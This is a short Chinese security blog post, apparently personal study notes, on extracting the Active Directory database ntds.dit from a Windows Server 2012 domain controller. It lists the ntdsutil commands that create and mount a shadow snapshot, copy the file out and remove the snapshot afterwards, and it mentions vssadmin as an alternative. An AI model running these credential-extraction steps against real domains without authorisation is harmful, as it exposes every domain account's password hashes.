Windows下ntds.dit的利用
ntds.dit是windows下的一个文件，里面存放了域内机器的一些信息，但是就算是域控的账号也无法直接读取出来。这里讲讲提取的方式和读取的方式。
无法直接读取
记笔记记笔记~
提取ntds.dit
- ntdsutil.exe: Windows Server 2003/08/12
- vssadmin: Windows 7/Windows Server 2008
这里用12的机器做示范：
1 | ntdsutil snapshot "activate instance ntds" create quit quit //创建一个快照 |
快照包含Windows中的所有文件，并且复制的时候不会影响Windows本机，也不会受到限制
1 | ntdsutil snapshot "mount {GUID}" quit quit //加载快照 |
这个时候会映射出一个文件夹出来，GUID为每次生成镜像的GUID
然后用命令将ntds.dit复制出来1
2copy C:\$SNAP_202002282030_VOLUMEC$\windows\ntds\ntds.dit
c:\temp\ntds.dit
最后删除卸载快照
1 | C:\Users\Administrator>ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit |
执行以下命令，若List为空，则说明卸载成功1
ntdsutil snapshot "List All" quit quit
这就是ntdsutil的用法，win7下没有这个工具，需要利用vssadmin，这里没有win7域控的环境就先不搞了
转载请注明来源，欢迎对文章中的引用来源进行考证，欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论，也可以邮件至 sher10cksec@foxmail.com
文章标题:Windows下ntds.dit的利用
本文作者:sher10ck
发布时间:2020-02-28, 20:14:10
最后更新:2020-02-28, 20:40:39
原始链接:http://sherlocz.github.io/2020/02/28/Windows下ntds-dit的利用/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。